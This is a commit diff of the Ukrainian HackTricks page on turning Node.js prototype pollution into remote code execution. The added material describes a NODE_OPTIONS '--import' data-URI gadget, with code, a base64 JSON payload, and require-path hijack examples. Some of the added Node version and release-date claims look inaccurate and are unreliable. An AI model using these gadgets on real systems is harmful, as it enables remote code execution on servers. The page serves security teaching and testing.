mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p
This commit is contained in:
parent
8b3bd9c0a7
commit
9d8b381ab9
@ -1,4 +1,4 @@
|
|||||||
# Пошкодження прототипу до RCE
|
# Prototype Pollution to RCE
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
@ -39,9 +39,9 @@ var proc = fork("a_file.js")
|
|||||||
```
|
```
|
||||||
## PP2RCE через змінні середовища
|
## PP2RCE через змінні середовища
|
||||||
|
|
||||||
**PP2RCE** означає **Забруднення прототипу до RCE** (Віддалене виконання коду).
|
**PP2RCE** означає **Prototype Pollution to RCE** (віддалене виконання коду).
|
||||||
|
|
||||||
Згідно з цим [**описом**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), коли **процес створюється** за допомогою деякого методу з **`child_process`** (як `fork` або `spawn` або інших), він викликає метод `normalizeSpawnArguments`, який є **гаджетом забруднення прототипу для створення нових змінних середовища**:
|
Згідно з цим [**описом**](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/), коли **процес створюється** за допомогою деякого методу з **`child_process`** (як `fork` або `spawn` або інші), він викликає метод `normalizeSpawnArguments`, який є **гаджетом для забруднення прототипу для створення нових змінних середовища**:
|
||||||
```javascript
|
```javascript
|
||||||
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
//See code in https://github.com/nodejs/node/blob/02aa8c22c26220e16616a88370d111c0229efe5e/lib/child_process.js#L638-L686
|
||||||
|
|
||||||
@ -66,7 +66,7 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
|
|||||||
### **Отруєння `__proto__`**
|
### **Отруєння `__proto__`**
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> Зверніть увагу, що через те, як функція **`normalizeSpawnArguments`** з бібліотеки **`child_process`** в node працює, коли щось викликається для **встановлення нової змінної середовища** для процесу, вам просто потрібно **забруднити що-небудь**.\
|
> Зверніть увагу, що через те, як працює функція **`normalizeSpawnArguments`** з бібліотеки **`child_process`** в node, коли щось викликається для **встановлення нової змінної середовища** для процесу, вам просто потрібно **забруднити що-небудь**.\
|
||||||
> Наприклад, якщо ви зробите `__proto__.avar="valuevar"`, процес буде запущено з змінною, названою `avar`, зі значенням `valuevar`.
|
> Наприклад, якщо ви зробите `__proto__.avar="valuevar"`, процес буде запущено з змінною, названою `avar`, зі значенням `valuevar`.
|
||||||
>
|
>
|
||||||
> Однак, щоб **змінна середовища була першою**, вам потрібно **забруднити** **атрибут `.env`**, і (тільки в деяких методах) ця змінна буде **першою** (дозволяючи атаку).
|
> Однак, щоб **змінна середовища була першою**, вам потрібно **забруднити** **атрибут `.env`**, і (тільки в деяких методах) ця змінна буде **першою** (дозволяючи атаку).
|
||||||
@ -125,7 +125,7 @@ var proc = fork("a_file.js")
|
|||||||
Схожий payload до попереднього з деякими змінами був запропонований у [**цьому описі**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Основні відмінності:
|
Схожий payload до попереднього з деякими змінами був запропонований у [**цьому описі**](https://blog.sonarsource.com/blitzjs-prototype-pollution/)**.** Основні відмінності:
|
||||||
|
|
||||||
- Замість зберігання nodejs **payload** всередині файлу `/proc/self/environ`, він зберігається **в argv0** файлу **`/proc/self/cmdline`**.
|
- Замість зберігання nodejs **payload** всередині файлу `/proc/self/environ`, він зберігається **в argv0** файлу **`/proc/self/cmdline`**.
|
||||||
- Потім, замість вимоги через **`NODE_OPTIONS`** файлу `/proc/self/environ`, він **вимагає `/proc/self/cmdline`**.
|
- Потім, замість того, щоб вимагати через **`NODE_OPTIONS`** файл `/proc/self/environ`, він **вимагає `/proc/self/cmdline`**.
|
||||||
```javascript
|
```javascript
|
||||||
const { execSync, fork } = require("child_process")
|
const { execSync, fork } = require("child_process")
|
||||||
|
|
||||||
@ -149,9 +149,50 @@ clone(USERINPUT)
|
|||||||
var proc = fork("a_file.js")
|
var proc = fork("a_file.js")
|
||||||
// This should create the file /tmp/pp2rec
|
// This should create the file /tmp/pp2rec
|
||||||
```
|
```
|
||||||
## DNS Interaction
|
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
|
||||||
|
|
||||||
Використовуючи наступні пейлоади, можливо зловживати змінною середовища NODE_OPTIONS, про яку ми говорили раніше, і виявити, чи спрацювало це, за допомогою взаємодії з DNS:
|
> [!NOTE]
|
||||||
|
> Оскільки **Node.js 19** прапор CLI `--import` може бути переданий через `NODE_OPTIONS` так само, як `--require`. На відміну від `--require`, `--import` розуміє **data-URIs**, тому атакуючий **не потребує доступу на запис до файлової системи** взагалі. Це робить гаджет набагато надійнішим у заблокованих або тільки для читання середовищах.
|
||||||
|
>
|
||||||
|
> Цю техніку вперше публічно задокументували дослідження PortSwigger у травні 2023 року, і з тих пір вона була відтворена в кількох CTF викликах.
|
||||||
|
|
||||||
|
Атака концептуально ідентична трюкам `--require /proc/self/*`, показаним вище, але замість того, щоб вказувати на файл, ми вбудовуємо корисне навантаження безпосередньо в base64-кодований `data:` URL:
|
||||||
|
```javascript
|
||||||
|
const { fork } = require("child_process")
|
||||||
|
|
||||||
|
// Manual pollution
|
||||||
|
b = {}
|
||||||
|
|
||||||
|
// Javascript that is executed once Node parses the import URL
|
||||||
|
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
|
||||||
|
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
|
||||||
|
|
||||||
|
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
|
||||||
|
// any key that will force spawn (fork) – same as earlier examples
|
||||||
|
fork("./a_file.js");
|
||||||
|
```
|
||||||
|
Зловживання вразливим злиттям/клонуванням, показаним на початку сторінки:
|
||||||
|
```javascript
|
||||||
|
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
|
||||||
|
clone(USERINPUT);
|
||||||
|
|
||||||
|
// Gadget trigger
|
||||||
|
fork("./a_file.js");
|
||||||
|
// → creates /tmp/pp2rce_import
|
||||||
|
```
|
||||||
|
### Чому `--import` допомагає
|
||||||
|
1. **Без взаємодії з диском** – корисне навантаження повністю подорожує всередині командного рядка процесу та середовища.
|
||||||
|
2. **Працює з середовищами, що підтримують лише ESM** – `--import` є канонічним способом попереднього завантаження JavaScript у сучасних версіях Node, які за замовчуванням використовують ECMAScript Modules.
|
||||||
|
3. **Обходить деякі списки дозволів `--require`** – кілька бібліотек захисту фільтрують лише `--require`, залишаючи `--import` недоторканим.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> Підтримка `--import` у `NODE_OPTIONS` все ще присутня в останній **Node 22.2.0** (червень 2025). Команда ядра Node обговорює обмеження data-URI в майбутньому, але на момент написання жодних заходів не вжито.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Взаємодія з DNS
|
||||||
|
|
||||||
|
Використовуючи наступні корисні навантаження, можна зловживати змінною середовища NODE_OPTIONS, про яку ми говорили раніше, і виявити, чи спрацювало це з взаємодією з DNS:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
@ -161,7 +202,7 @@ var proc = fork("a_file.js")
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
Або, щоб уникнути запитів WAF до домену:
|
Або, щоб уникнути запитів WAF щодо домену:
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"__proto__": {
|
"__proto__": {
|
||||||
@ -227,7 +268,7 @@ var proc = execFile("/usr/bin/node")
|
|||||||
|
|
||||||
// Windows - not working
|
// Windows - not working
|
||||||
```
|
```
|
||||||
Для **`execFile`** щоб працювати, він **ПОВИНЕН виконувати node** для роботи NODE_OPTIONS.\
|
Для **`execFile`** щоб працювати, він **ПОВИНЕН виконувати node** для того, щоб NODE_OPTIONS працювали.\
|
||||||
Якщо він **не** виконує **node**, вам потрібно знайти, як ви могли б **змінити виконання** того, що він виконує **з допомогою змінних середовища** і встановити їх.
|
Якщо він **не** виконує **node**, вам потрібно знайти, як ви могли б **змінити виконання** того, що він виконує **з допомогою змінних середовища** і встановити їх.
|
||||||
|
|
||||||
**Інші** техніки **працюють** без цієї вимоги, оскільки **можливо змінити** **те, що виконується** через забруднення прототипу. (У цьому випадку, навіть якщо ви можете забруднити `.shell`, ви не забрудните те, що виконується).
|
**Інші** техніки **працюють** без цієї вимоги, оскільки **можливо змінити** **те, що виконується** через забруднення прототипу. (У цьому випадку, навіть якщо ви можете забруднити `.shell`, ви не забрудните те, що виконується).
|
||||||
@ -467,7 +508,7 @@ var proc = spawnSync("something")
|
|||||||
|
|
||||||
### Контроль шляху до файлу require
|
### Контроль шляху до файлу require
|
||||||
|
|
||||||
У цьому [**іншому описі**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) користувач може контролювати шлях до файлу, де буде виконано **`require`**. У цьому сценарії атакуючому просто потрібно **знайти `.js` файл у системі**, який **виконає метод spawn при імпорті.**\
|
У цьому [**іншому описі**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) користувач може контролювати шлях до файлу, де буде виконано **`require`**. У цьому сценарії атакуючий просто повинен **знайти `.js` файл у системі**, який **виконає метод spawn при імпорті.**\
|
||||||
Деякі приклади загальних файлів, які викликають функцію spawn при імпорті:
|
Деякі приклади загальних файлів, які викликають функцію spawn при імпорті:
|
||||||
|
|
||||||
- /path/to/npm/scripts/changelog.js
|
- /path/to/npm/scripts/changelog.js
|
||||||
@ -500,20 +541,20 @@ done
|
|||||||
### Встановлення шляху до файлу через забруднення прототипу
|
### Встановлення шляху до файлу через забруднення прототипу
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> **Попередня техніка вимагає**, щоб **користувач контролював шлях до файлу**, який буде **вимагатися**. Але це не завжди так.
|
> **Попередня техніка вимагає**, щоб **користувач контролював шлях до файлу**, який буде **вимагатися**. Але це не завжди правда.
|
||||||
|
|
||||||
Однак, якщо код буде виконувати require після забруднення прототипу, навіть якщо ви **не контролюєте шлях**, який буде вимагатися, ви **можете примусити до іншого, зловживаючи забрудненням прототипу**. Тож навіть якщо рядок коду виглядає як `require("./a_file.js")` або `require("bytes")`, він **вимагатиме пакет, який ви забруднили**.
|
Однак, якщо код буде виконувати вимогу після забруднення прототипу, навіть якщо ви **не контролюєте шлях**, який буде вимагатися, ви **можете примусити інший, зловживаючи забрудненням прототипу**. Тож навіть якщо рядок коду виглядає як `require("./a_file.js")` або `require("bytes")`, він **вимагатиме пакет, який ви забруднили**.
|
||||||
|
|
||||||
Отже, якщо require виконується після вашого забруднення прототипу і немає функції spawn, це атака:
|
Отже, якщо вимога виконується після вашого забруднення прототипу і немає функції spawn, це атака:
|
||||||
|
|
||||||
- Знайдіть **`.js` файл всередині системи**, який при **вимозі** буде **виконувати щось за допомогою `child_process`**
|
- Знайдіть **`.js` файл всередині системи**, який при **вимозі** буде **виконувати щось за допомогою `child_process`**
|
||||||
- Якщо ви можете завантажувати файли на платформу, яку ви атакуєте, ви можете завантажити файл такого типу
|
- Якщо ви можете завантажувати файли на платформу, яку ви атакуєте, ви можете завантажити файл такого типу
|
||||||
- Забрудніть шляхи, щоб **примусити вимогу завантажити `.js` файл**, який виконає щось з child_process
|
- Забрудніть шляхи, щоб **примусити завантаження `.js` файлу**, який виконає щось з child_process
|
||||||
- **Забрудніть середовище/cmdline**, щоб виконати довільний код, коли викликається функція виконання child_process (див. початкові техніки)
|
- **Забрудніть середовище/cmdline**, щоб виконати довільний код, коли викликається функція виконання child_process (див. початкові техніки)
|
||||||
|
|
||||||
#### Абсолютний require
|
#### Абсолютна вимога
|
||||||
|
|
||||||
Якщо виконуваний require є **абсолютним** (`require("bytes")`) і **пакет не містить main** у файлі `package.json`, ви можете **забруднити атрибут `main`** і змусити **require виконати інший файл**.
|
Якщо виконана вимога є **абсолютною** (`require("bytes")`) і **пакет не містить main** у файлі `package.json`, ви можете **забруднити атрибут `main`** і змусити **вимогу виконати інший файл**.
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="exploit"}}
|
{{#tab name="exploit"}}
|
||||||
@ -598,7 +639,7 @@ fork("/path/to/anything")
|
|||||||
#### Відносний require - 2
|
#### Відносний require - 2
|
||||||
|
|
||||||
{{#tabs}}
|
{{#tabs}}
|
||||||
{{#tab name="експлуатація"}}
|
{{#tab name="exploit"}}
|
||||||
```javascript
|
```javascript
|
||||||
// Create a file called malicious.js in /tmp
|
// Create a file called malicious.js in /tmp
|
||||||
// Contents of malicious.js in the other tab
|
// Contents of malicious.js in the other tab
|
||||||
@ -636,9 +677,9 @@ fork("/path/to/anything")
|
|||||||
{{#endtab}}
|
{{#endtab}}
|
||||||
{{#endtabs}}
|
{{#endtabs}}
|
||||||
|
|
||||||
#### Відносне вимагання - 3
|
#### Відносний require - 3
|
||||||
|
|
||||||
Схоже на попереднє, це було знайдено в [**цьому звіті**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
Схоже на попереднє, це було знайдено в [**цьому описі**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs).
|
||||||
```javascript
|
```javascript
|
||||||
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
// Requiring /opt/yarn-v1.22.19/preinstall.js
|
||||||
Object.prototype["data"] = {
|
Object.prototype["data"] = {
|
||||||
@ -661,17 +702,21 @@ require("./usage.js")
|
|||||||
## VM Gadgets
|
## VM Gadgets
|
||||||
|
|
||||||
У статті [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) також зазначено, що контроль **`contextExtensions`** з деяких методів бібліотеки **`vm`** може бути використаний як гаджет.\
|
У статті [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) також зазначено, що контроль **`contextExtensions`** з деяких методів бібліотеки **`vm`** може бути використаний як гаджет.\
|
||||||
Однак, як і попередні методи **`child_process`**, він був **виправлений** у останніх версіях.
|
Однак, як і попередні методи **`child_process`**, він був **виправлений** в останніх версіях.
|
||||||
|
|
||||||
## Fixes & Unexpected protections
|
## Fixes & Unexpected protections
|
||||||
|
|
||||||
Зверніть увагу, що забруднення прототипу працює, якщо **атрибут** об'єкта, до якого звертаються, є **undefined**. Якщо в **коді** цей **атрибут** **отримує** **значення**, ви **не зможете його перезаписати**.
|
Зверніть увагу, що забруднення прототипу працює, якщо **атрибут** об'єкта, до якого звертаються, є **undefined**. Якщо в **коді** цей **атрибут** **отримує** **значення**, ви **не зможете його перезаписати**.
|
||||||
|
|
||||||
У червні 2022 року з [**цього коміту**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) змінна `options` замість `{}` є **`kEmptyObject`**. Це **запобігає забрудненню прототипу** від впливу на **атрибути** **`options`** для отримання RCE.\
|
У червні 2022 року з [**цього коміту**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) змінна `options` замість `{}` є **`kEmptyObject`**. Це **запобігає забрудненню прототипу** від впливу на **атрибути** **`options`** для отримання RCE.\
|
||||||
Принаймні з версії v18.4.0 ця захист була **реалізована**, і тому **експлойти** `spawn` та `spawnSync`, що впливають на методи, **більше не працюють** (якщо не використовуються `options`!).
|
Принаймні з v18.4.0 ця захист була **реалізована**, і тому **експлойти** `spawn` і `spawnSync`, що впливають на методи, **більше не працюють** (якщо не використовуються `options`!).
|
||||||
|
|
||||||
У [**цьому коміті**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **забруднення прототипу** **`contextExtensions`** з бібліотеки vm було **також частково виправлено**, встановивши параметри на **`kEmptyObject`** замість **`{}`.**
|
У [**цьому коміті**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) **забруднення прототипу** **`contextExtensions`** з бібліотеки vm було **також частково виправлено**, встановивши параметри на **`kEmptyObject`** замість **`{}`.**
|
||||||
|
|
||||||
|
> [!INFO]
|
||||||
|
> **Node 20 (квітень 2023) & Node 22 (квітень 2025)** випустили подальше зміцнення: кілька допоміжних засобів `child_process` тепер копіюють надані користувачем `options` за допомогою **`CopyOptions()`** замість використання їх за посиланням. Це блокує забруднення вкладених об'єктів, таких як `stdio`, але **не захищає від трюків `NODE_OPTIONS` / `--import`**, описаних вище – ці прапори все ще приймаються через змінні середовища.\
|
||||||
|
> Повне виправлення повинно обмежити, які CLI прапори можуть бути передані з батьківського процесу, що відстежується в Node Issue #50559.
|
||||||
|
|
||||||
### **Other Gadgets**
|
### **Other Gadgets**
|
||||||
|
|
||||||
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
- [https://github.com/yuske/server-side-prototype-pollution](https://github.com/yuske/server-side-prototype-pollution)
|
||||||
@ -682,6 +727,8 @@ require("./usage.js")
|
|||||||
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
|
||||||
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
|
||||||
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
|
||||||
|
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
|
||||||
|
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
|
||||||
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
|
||||||
|
|
||||||
{{#include ../../../banners/hacktricks-training.md}}
|
{{#include ../../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user